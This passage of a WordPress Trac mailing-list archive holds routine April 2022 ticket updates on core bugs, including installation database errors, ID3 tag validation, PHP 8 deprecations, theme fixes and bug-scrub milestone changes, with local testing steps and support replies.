discussion over there to keep things focused and I'll close this ticket as `reported-upstream`. If you'd like to submit a patch for this, please open a PR on the Gutenberg repository and link it to the above issue. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55626#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 00:08:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 00:08:53 -0000 Subject: [wp-trac] [WordPress Trac] #55632: WordPress database error when running PHPUnit tests In-Reply-To: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> References: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> Message-ID: <065.cc683c9545de0fdc5726e40ad0b27fda@wordpress.org> #55632: WordPress database error when running PHPUnit tests -------------------------------------+--------------------- Reporter: Chouby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: trunk Severity: normal | Resolution: Keywords: needs-testing has-patch | Focuses: -------------------------------------+--------------------- Changes (by peterwilsoncc): * component: Build/Test Tools => Upgrade/Install Comment: I realised overnight the same error would occur during installation. As it's a user facing component, I've moved the ticket to that. Replying to [comment:7 SergeyBiryukov]: > Just noting that this option also works in my testing. Thanks for the logic check, I've updated the [https://github.com/WordPress /wordpress-develop/pull/2638 linked pull request] to use `wp_enqueue_scripts, 9`. Technically the priority isn't needed as the actions run in order of registration but I figured I'd make it clear what was happening. > Is there a use case for registering webfonts earlier, like currently on the `wp_loaded` hook? Not that I am aware of for `theme.json`. === Testing notes === In all cases, you will need to check out the branch of the linked pull request. This can be done by running `npm run grunt patch:https://github.com/WordPress/wordpress-develop/pull/2638` in a wordpress-develop environment. ==== Unit tests ==== 1. Drop test database tables in test database 2. Run `phpunit` 3. Check for reported database table does not exist errors ==== WP CLI Installation ==== In your local environments root directory: 1. Run `wp db reset` 2. Run `wp core install --title=WP-DEV --admin_user=admin --admin_password=password --admin_email=admin at example.com --url=wp- dev.local` (replace the URL as appropriate) 3. Check for reported database table does not exist errors ==== Manual Installation ==== 1. In your local environments root directory run `wp db reset`. Alternatively drop all tables via a MySQL interface 2. Visit your local environment in the browser and follow the installation steps 3. Check for reported database table does not exist errors -- Ticket URL: <https://core.trac.wordpress.org/ticket/55632#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 00:13:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 00:13:19 -0000 Subject: [wp-trac] [WordPress Trac] #55638: Undefined property: WP_Post_Type::$post_type In-Reply-To: <050.b85df3ef0415dc0049b13068a50490a9@wordpress.org> References: <050.b85df3ef0415dc0049b13068a50490a9@wordpress.org> Message-ID: <065.627e4fa8a91484ce7d8c67b6c0f91568@wordpress.org> #55638: Undefined property: WP_Post_Type::$post_type --------------------------+------------------------------ Reporter: pienoz | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Comment (by jrf): @pienoz Please provide a backtrace of the error you are seeing. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55638#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 02:24:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 02:24:19 -0000 Subject: [wp-trac] [WordPress Trac] #55411: Deprecated error in WordPress 5.9 on PHP 8.1 In-Reply-To: <057.e87e31fe46e8b38d8b6a8b2085d74bb7@wordpress.org> References: <057.e87e31fe46e8b38d8b6a8b2085d74bb7@wordpress.org> Message-ID: <072.f4b8899361331c1289669e67869dbe6f@wordpress.org> #55411: Deprecated error in WordPress 5.9 on PHP 8.1 -------------------------------------+------------------------------ Reporter: meysamnorouzi | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.2 Severity: normal | Resolution: Keywords: php81 reporter-feedback | Focuses: -------------------------------------+------------------------------ Comment (by jrf): Replying to [comment:5 wparslan]: > @jrf you are right, the functionality doesn't stop. > However, we are left with a lot of unwanted lines on the front-end sometimes breaking the structures. > > So have to resolve these deprecation warnings. @wparslan If you are seeing these on the front-end, turn off `WP_DEBUG`. Other than that, resolving these needs a concerted effort and strategy and should not be done hap-snap, as is often done now, resulting in ''hiding'' the notices instead of properly fixing them. There are dedicated tickets for solving these type of PHP cross-version compatibility issues, like #54730. IMO, this ticket should be closed as a duplicate. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55411#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 03:49:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 03:49:04 -0000 Subject: [wp-trac] [WordPress Trac] #55632: WordPress database error when running PHPUnit tests In-Reply-To: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> References: <050.40bf5c2b8b4c1561bdb094b52daf6d07@wordpress.org> Message-ID: <065.cc3facb897a3e493387943b299a18d35@wordpress.org> #55632: WordPress database error when running PHPUnit tests -------------------------------------+---------------------------- Reporter: Chouby | Owner: peterwilsoncc Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: trunk Severity: normal | Resolution: fixed Keywords: needs-testing has-patch | Focuses: -------------------------------------+---------------------------- Changes (by peterwilsoncc): * owner: (none) => peterwilsoncc * status: new => closed * resolution: => fixed Comment: In [changeset:"53306" 53306]: {{{ #!CommitTicketReference repository="" revision="53306" Install: Prevent DB errors caused by web fonts API. Bypass checking `theme.json` for web fonts during the installation of WordPress. During installation the active theme is considered to be Twenty Twenty-Two (the default theme). As a block theme this prompts a database call when the web fonts API checks the `theme.json` settings, this triggers a database error during installation as the database tables do not exist. Props chouby, costdev, peterwilsoncc, sergeybiryukov. Fixes #55632. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55632#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 04:30:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 04:30:34 -0000 Subject: [wp-trac] [WordPress Trac] #54827: Elemtentor, pagina In-Reply-To: <058.bbbc2583512d95260325cab3b1e90ce4@wordpress.org> References: <058.bbbc2583512d95260325cab3b1e90ce4@wordpress.org> Message-ID: <073.60d568a99f69d9823a3300c200804770@wordpress.org> #54827: Elemtentor, pagina --------------------------------------------+----------------------------- Reporter: flashprice2020 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future Release Component: Formatting | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests php80 | Focuses: --------------------------------------------+----------------------------- Changes (by peterwilsoncc): * keywords: has-patch has-unit-tests commit php80 => has-patch has-unit- tests php80 * milestone: 6.0 => Future Release Comment: Let's hold for now given the discussion above. If the bug is in `convert_smilies()` then, yes, it would be good to fix it there. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54827#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 04:44:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 04:44:55 -0000 Subject: [wp-trac] [WordPress Trac] #55206: wp core api memory leaks In-Reply-To: <055.bea424265cbc6805103254844e452f4a@wordpress.org> References: <055.bea424265cbc6805103254844e452f4a@wordpress.org> Message-ID: <070.c5a1e578d92d9371e53332b5aaabb83b@wordpress.org> #55206: wp core api memory leaks --------------------------+------------------------------ Reporter: sllimrovert | Owner: (none) Type: defect (bug) | Status: assigned Priority: normal | Milestone: Awaiting Review Component: Database | Version: Severity: normal | Resolution: Keywords: 2nd-opinion | Focuses: performance --------------------------+------------------------------ Changes (by costdev): * version: trunk => Comment: Removing `trunk` as this was not introduced during the 6.0 cycle. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55206#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 04:47:42 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 04:47:42 -0000 Subject: [wp-trac] [WordPress Trac] #55104: is_main_query() fatal error on null In-Reply-To: <052.30ddbf233e7a7b09180faa3eccad8f2b@wordpress.org> References: <052.30ddbf233e7a7b09180faa3eccad8f2b@wordpress.org> Message-ID: <067.20fd09f447968d649b18632224a32fee@wordpress.org> #55104: is_main_query() fatal error on null --------------------------+------------------------------ Reporter: nhadsall | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Query | Version: Severity: major | Resolution: Keywords: 2nd-opinion | Focuses: --------------------------+------------------------------ Changes (by costdev): * keywords: => 2nd-opinion * version: trunk => Comment: Removing `trunk` as this was not introduced during the 6.0 cycle. Adding `2nd-opinion` to gather thoughts on this. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55104#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 04:48:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 04:48:28 -0000 Subject: [wp-trac] [WordPress Trac] #55009: Twenty Twenty-Two : More tag not supported In-Reply-To: <053.c68da3f99457a29da55eac37f0a22d00@wordpress.org> References: <053.c68da3f99457a29da55eac37f0a22d00@wordpress.org> Message-ID: <068.a2cd3e6bff69832204cf46aa22cccc7a@wordpress.org> #55009: Twenty Twenty-Two : More tag not supported ---------------------------+------------------------------ Reporter: ravipatel | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Bundled Theme | Version: 5.9 Severity: normal | Resolution: Keywords: needs-patch | Focuses: ---------------------------+------------------------------ Changes (by costdev): * version: trunk => 5.9 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55009#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 04:48:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 04:48:29 -0000 Subject: [wp-trac] [WordPress Trac] #55204: Error in upload mp3 file with wrong ID3 tags In-Reply-To: <052.0f5b811636ed6092a7cbe86769ab2e8a@wordpress.org> References: <052.0f5b811636ed6092a7cbe86769ab2e8a@wordpress.org> Message-ID: <067.025662a8a2b4afa48b4cd44e53b6f4ec@wordpress.org> #55204: Error in upload mp3 file with wrong ID3 tags -----------------------------------+----------------------------- Reporter: mjkhajeh | Owner: peterwilsoncc Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Media | Version: 5.9 Severity: normal | Resolution: fixed Keywords: has-patch php8 commit | Focuses: administration -----------------------------------+----------------------------- Changes (by peterwilsoncc): * owner: (none) => peterwilsoncc * status: new => closed * resolution: => fixed Comment: In [changeset:"53307" 53307]: {{{ #!CommitTicketReference repository="" revision="53307" Media: Validate track number ID3 tags before use. Validate current and total track ID3 tags as numeric before use. Props mjkhajeh, SergeyBiryukov, costdev. Fixes #55204. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55204#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 04:52:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 04:52:19 -0000 Subject: [wp-trac] [WordPress Trac] #55256: cannot connect api.wordpress.org In-Reply-To: <054.c16eb10dab3833bb3c757f768f6ce9a1@wordpress.org> References: <054.c16eb10dab3833bb3c757f768f6ce9a1@wordpress.org> Message-ID: <069.2d40b61218ea24b63cc28e52253a4634@wordpress.org> #55256: cannot connect api.wordpress.org --------------------------------+-------------------------------- Reporter: nokhosting | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: WordPress.org Site | Version: trunk Severity: normal | Resolution: reported-upstream Keywords: | Focuses: --------------------------------+-------------------------------- Changes (by dd32): * status: new => closed * resolution: => reported-upstream * component: General => WordPress.org Site * milestone: Awaiting Review => Comment: Hi @nokhosting, I apologise for the delay in a response to this ticket, the WordPress bug tracker isn't monitored closely by those who work on the WordPress.org systems side of things. Unfortunately it slipped past being passed along. IP blocks are very rarely employed on WordPress.org, and will almost always respond with a descriptive error code. The exception being when an IP is part of a larger-scale DDOS attack, usually unknowingly. What we see far more commonly however, is a network between your server and ours dropping traffic or failing to route it. When this happens, a report including a `mtr` report is always helpful to identify where a blockage is. At the present time, albeit two months late, I see no network issues between a WordPress.org node and the server. I do not however have current insight into any IP blocks in place. In future, if you encounter similar issues, please perform an `mtr -P 442 api.wordpress.org` to see how far the connection makes it - the final network which WordPress.org currently resides in is `singlehop.net` (although this may change in future). Using https://meta.trac.wordpress.org/, the #meta channel on [https://make.wordpress.org/chat/ the WordPress.org slack] or even https://wordpress.org/support/forums/ is more likely to get to the right people. I hope this helps you, or others in the future. If you're still experiencing issues, please reply and mention me with `@dd32` and I'll be in touch to put things right. Thanks PS. I'm closing this ticket as `reported-upstream`, although no further action has been taken at this time. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55256#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 04:52:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 04:52:39 -0000 Subject: [wp-trac] [WordPress Trac] #55591: Multiple Bundled Themes: update translator comments to note screen reader text In-Reply-To: <055.65f3e02a573e567851a0b748d589ee83@wordpress.org> References: <055.65f3e02a573e567851a0b748d589ee83@wordpress.org> Message-ID: <070.1210bfa444ab6969eb9caf0956ddeec8@wordpress.org> #55591: Multiple Bundled Themes: update translator comments to note screen reader text ------------------------------+---------------------------- Reporter: sabernhardt | Owner: peterwilsoncc Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: has-patch commit | Focuses: ------------------------------+---------------------------- Changes (by peterwilsoncc): * keywords: has-patch commit assigned-for-commit => has-patch commit * owner: davidbaumwald => peterwilsoncc -- Ticket URL: <https://core.trac.wordpress.org/ticket/55591#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 04:55:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 04:55:13 -0000 Subject: [wp-trac] [WordPress Trac] #55641: Webnovels.pk Message-ID: <056.31e9da9612b54b5ae3da33bb3f66f31c@wordpress.org> #55641: Webnovels.pk --------------------------+----------------------------- Reporter: ameliavirezz | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: blocker | Keywords: Focuses: | --------------------------+----------------------------- Everytime i treid to access the website a prompt to.download bin files came up. This happen3d in chrome ..firefox and edge...as well as through pc laptop and mobile pho -- Ticket URL: <https://core.trac.wordpress.org/ticket/55641> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 04:55:42 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 04:55:42 -0000 Subject: [wp-trac] [WordPress Trac] #55641: Webnovels.pk In-Reply-To: <056.31e9da9612b54b5ae3da33bb3f66f31c@wordpress.org> References: <056.31e9da9612b54b5ae3da33bb3f66f31c@wordpress.org> Message-ID: <071.fe63e4f219790c581dd923346e35b5ce@wordpress.org> #55641: Webnovels.pk --------------------------+------------------------------ Reporter: ameliavirezz | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: blocker | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Changes (by ameliavirezz): * Attachment "Screenshot_20220429-123112_Firefox Focus.jpg" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55641> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 04:58:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 04:58:43 -0000 Subject: [wp-trac] [WordPress Trac] #55641: .bin files downloading when visiting my website. (was: Webnovels.pk) In-Reply-To: <056.31e9da9612b54b5ae3da33bb3f66f31c@wordpress.org> References: <056.31e9da9612b54b5ae3da33bb3f66f31c@wordpress.org> Message-ID: <071.7a410663ae49416080c64f97bf4e6b1f@wordpress.org> #55641: .bin files downloading when visiting my website. --------------------------+---------------------- Reporter: ameliavirezz | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+---------------------- Changes (by costdev): * status: new => closed * resolution: => invalid * severity: blocker => normal * milestone: Awaiting Review => Comment: Hi @ameliavirezz, welcome to Trac! Sorry to hear that you're having trouble with your website. You can get some help from the folks over on the [https://wordpress.org/support/forum/how-to-and-troubleshooting/ the support forums]. As Trac is for the development of WordPress Core, I'll close this ticket as `invalid`, not because your problem is invalid, but because there aren't any actions we can take to help you here on WordPress Core Trac. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55641#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 05:01:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 05:01:38 -0000 Subject: [wp-trac] [WordPress Trac] #55591: Multiple Bundled Themes: update translator comments to note screen reader text In-Reply-To: <055.65f3e02a573e567851a0b748d589ee83@wordpress.org> References: <055.65f3e02a573e567851a0b748d589ee83@wordpress.org> Message-ID: <070.c19b6d1523fe63b8649e31addbe90073@wordpress.org> #55591: Multiple Bundled Themes: update translator comments to note screen reader text ------------------------------+---------------------------- Reporter: sabernhardt | Owner: peterwilsoncc Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit | Focuses: ------------------------------+---------------------------- Changes (by peterwilsoncc): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53308" 53308]: {{{ #!CommitTicketReference repository="" revision="53308" Bundled Themes: Note visually hidden text for translators. Indicate the use of screen reader only text in translator comments. Props sabernhardt. Fixes #55591. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55591#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 05:02:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 05:02:29 -0000 Subject: [wp-trac] [WordPress Trac] #55590: Twenty Twenty Two - Single Post Comment Form Button Font Family In-Reply-To: <050.f0ed09d48d2256d3e93952baae6d1da6@wordpress.org> References: <050.f0ed09d48d2256d3e93952baae6d1da6@wordpress.org> Message-ID: <065.4e5f673c73134a9883a970a79b0177d6@wordpress.org> #55590: Twenty Twenty Two - Single Post Comment Form Button Font Family ---------------------------+------------------------------ Reporter: kafleg | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Bundled Theme | Version: 5.9 Severity: normal | Resolution: Keywords: needs-testing | Focuses: ---------------------------+------------------------------ Changes (by costdev): * version: trunk => 5.9 Comment: == Test Report === Environment * Server: Apache (Linux) * WordPress: 6.0-beta3-53290-src * Browser: Chrome 100.0.4896.127 * OS: Windows 10 * Theme: Twenty Twenty-Two * Plugins: None activated. === Steps 1. Visit a single post. 2. Notice that the font of the "Post Comment" button is different than other fonts. ✅ 3. Apply [https://github.com/WordPress/wordpress-develop/pull/2606 PR 2606]. 4. Notice that the font of the "Post Comment" button is now the same as other fonts. ✅ === Results 1. Issue reproduced. ✅ 2. [https://github.com/WordPress/wordpress-develop/pull/2606 PR 2606] resolves the issue. ✅ -- Ticket URL: <https://core.trac.wordpress.org/ticket/55590#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 05:04:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 05:04:28 -0000 Subject: [wp-trac] [WordPress Trac] #55590: Twenty Twenty Two - Single Post Comment Form Button Font Family In-Reply-To: <050.f0ed09d48d2256d3e93952baae6d1da6@wordpress.org> References: <050.f0ed09d48d2256d3e93952baae6d1da6@wordpress.org> Message-ID: <065.a5c052cd20d2cbfd544ec27bf7d240cf@wordpress.org> #55590: Twenty Twenty Two - Single Post Comment Form Button Font Family ---------------------------+------------------------------ Reporter: kafleg | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Bundled Theme | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch | Focuses: ---------------------------+------------------------------ Changes (by costdev): * keywords: needs-testing => has-patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/55590#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 05:13:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 05:13:14 -0000 Subject: [wp-trac] [WordPress Trac] #53485: completing coverage for wp_date() In-Reply-To: <051.6b3f2d0c983a9dc116c5291f00492814@wordpress.org> References: <051.6b3f2d0c983a9dc116c5291f00492814@wordpress.org> Message-ID: <066.bdcd1936405e13dafd6c4ad81fa0d952@wordpress.org> #53485: completing coverage for wp_date() --------------------------------------+----------------------------- Reporter: pbearne | Owner: hellofromTonya Type: task (blessed) | Status: accepted Priority: normal | Milestone: 6.0 Component: Date/Time | Version: Severity: normal | Resolution: Keywords: has-unit-tests has-patch | Focuses: --------------------------------------+----------------------------- Changes (by costdev): * type: defect (bug) => task (blessed) Comment: Per the discussion in the bug scrub, I'm changing this ticket to a Task. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53485#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 05:16:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 05:16:01 -0000 Subject: [wp-trac] [WordPress Trac] #36308: get_attached_file() destroys file paths on Windows In-Reply-To: <050.92eb671f89732a16ad562052bc684b6b@wordpress.org> References: <050.92eb671f89732a16ad562052bc684b6b@wordpress.org> Message-ID: <065.9631c9dfe7cb80125db53979f2735c25@wordpress.org> #36308: get_attached_file() destroys file paths on Windows -------------------------------------------------+------------------------- Reporter: Whissi | Owner: stevenlinx Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: 4.4.2 Severity: normal | Resolution: Keywords: good-first-bug has-patch has-unit- | Focuses: tests dev-feedback has-testing-info needs- | testing commit early | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * keywords: good-first-bug has-patch has-unit-tests dev-feedback has-testing-info needs-testing commit => good-first-bug has-patch has-unit-tests dev-feedback has-testing-info needs-testing commit early * milestone: 6.0 => 6.1 Comment: File path related cahnges are always risky so let's do this a few days after 6.1 forks rather than a few days before the 6.0 RC. -- Ticket URL: <https://core.trac.wordpress.org/ticket/36308#comment:24> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 05:27:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 05:27:09 -0000 Subject: [wp-trac] [WordPress Trac] #52695: Incorrect way to updateLocale in moment.js add_inline_script In-Reply-To: <056.37677b6a845f75e31b2baf87ba24a473@wordpress.org> References: <056.37677b6a845f75e31b2baf87ba24a473@wordpress.org> Message-ID: <071.8aceb34905bbee4c64134d421eeee991@wordpress.org> #52695: Incorrect way to updateLocale in moment.js add_inline_script --------------------------------+----------------------------- Reporter: yoancutillas | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future Release Component: External Libraries | Version: 5.6.2 Severity: normal | Resolution: Keywords: | Focuses: --------------------------------+----------------------------- Changes (by mukesh27): * milestone: 6.0 => Future Release Comment: This was discussed in a bug scrub earlier. Let's set it to `Future Release` feel free to change the milestone if it is on your to-do list for the next release. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52695#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 05:27:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 05:27:44 -0000 Subject: [wp-trac] [WordPress Trac] #49728: [PHP 8] Prepare for the internal functions throwing `TypeError` or `ValueError` exceptions on unexpected types/values In-Reply-To: <055.10729326741625e8d0bd4e84786c665e@wordpress.org> References: <055.10729326741625e8d0bd4e84786c665e@wordpress.org> Message-ID: <070.cbfe6f105395219ebfc50212f7d05bae@wordpress.org> #49728: [PHP 8] Prepare for the internal functions throwing `TypeError` or `ValueError` exceptions on unexpected types/values -------------------------------------------------+------------------------- Reporter: ayeshrajans | Owner: | hellofromTonya Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.1 Component: Build/Test Tools | Version: Severity: minor | Resolution: Keywords: needs-patch needs-unit-tests needs- | Focuses: dev-note php8 needs-docs | -------------------------------------------------+------------------------- Changes (by mikeschroder): * milestone: 6.0 => 6.1 Comment: This ticket was brought up in a Bug Scrub today. Thanks for all your work on it! Since we're getting close to RC for 6.0 on May 3, and there isn't a patch yet, I'm going to move this to the 6.1 milestone If a solution comes up before then, feel free to add it back. -- Ticket URL: <https://core.trac.wordpress.org/ticket/49728#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 05:33:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 05:33:13 -0000 Subject: [wp-trac] [WordPress Trac] #55230: Release 5.9.1 breaks administration login. In-Reply-To: <057.1670da42e118d9d1a8fcb4ffc1415dc9@wordpress.org> References: <057.1670da42e118d9d1a8fcb4ffc1415dc9@wordpress.org> Message-ID: <072.c21ad0ddad5871fc18cd5cc6fa10bc63@wordpress.org> #55230: Release 5.9.1 breaks administration login. -------------------------------------+------------------------------ Reporter: carlduranleau | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Login and Registration | Version: 5.9.1 Severity: normal | Resolution: Keywords: reporter-feedback close | Focuses: administration -------------------------------------+------------------------------ Changes (by peterwilsoncc): * keywords: reporter-feedback => reporter-feedback close * severity: blocker => normal * milestone: 5.9.4 => Awaiting Review Comment: This was discussed during a bug scrub earlier. As three are no reproduction steps, it was decided to move it off the milestone and assign the close keyword. It appears there have been numerous attempts to reproduce the issue but without success. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55230#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 05:39:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 05:39:21 -0000 Subject: [wp-trac] [WordPress Trac] #53224: Super admin cannot set an application password on a site they're not a member of In-Reply-To: <055.77d7d74ec7ed8f111cfb71f64c34a804@wordpress.org> References: <055.77d7d74ec7ed8f111cfb71f64c34a804@wordpress.org> Message-ID: <070.cc66820b12956798450527a7aad33479@wordpress.org> #53224: Super admin cannot set an application password on a site they're not a member of -------------------------------------------------+------------------------- Reporter: johnbillion | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future | Release Component: Application Passwords | Version: 5.6 Severity: normal | Resolution: Keywords: has-patch has-unit-tests dev- | Focuses: multisite feedback | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: This was discussed in a bug scrub today. As it seems further consensus is needed on the PR, it was decided to move this from the milestone. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53224#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 05:58:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 05:58:02 -0000 Subject: [wp-trac] [WordPress Trac] #55172: Twenty Twenty-Two: Add "Accessibility Ready" tag to theme in repository In-Reply-To: <047.b9d143ec205798743730f710212f590b@wordpress.org> References: <047.b9d143ec205798743730f710212f590b@wordpress.org> Message-ID: <062.8efc0937a9936567ed38d6232c492b12@wordpress.org> #55172: Twenty Twenty-Two: Add "Accessibility Ready" tag to theme in repository ------------------------------------+---------------------------- Reporter: bph | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.1 Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: has-patch dev-feedback | Focuses: accessibility ------------------------------------+---------------------------- Changes (by mikeschroder): * keywords: has-patch => has-patch dev-feedback * milestone: 5.9.4 => 6.1 Comment: We chatted about this in a [https://wordpress.slack.com/archives/C02RQBWTW/p1651210884121019 bug scrub for 6.0 today]. It's not clear to me what the priority level is for the teams working on this, but it seems like resolution depends on at least one ticket that wouldn't usually land during RC. Because RC is in a few days, I'm going to move this to 6.1. As this is a task, if the priority is high / work is planned to continue during RC, please feel free to move it back. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55172#comment:23> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 05:59:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 05:59:01 -0000 Subject: [wp-trac] [WordPress Trac] #42957: Usernames ending in a period generate invalid reset password links in certain email clients In-Reply-To: <053.6ac86000e6ab38aac81c6a705c869e8a@wordpress.org> References: <053.6ac86000e6ab38aac81c6a705c869e8a@wordpress.org> Message-ID: <068.277014612bbf9d8f2f0851bfc58d7a53@wordpress.org> #42957: Usernames ending in a period generate invalid reset password links in certain email clients -------------------------------------------------+------------------------- Reporter: paulcline | Owner: | hellofromTonya Type: defect (bug) | Status: assigned Priority: normal | Milestone: Future | Release Component: Users | Version: Severity: normal | Resolution: Keywords: 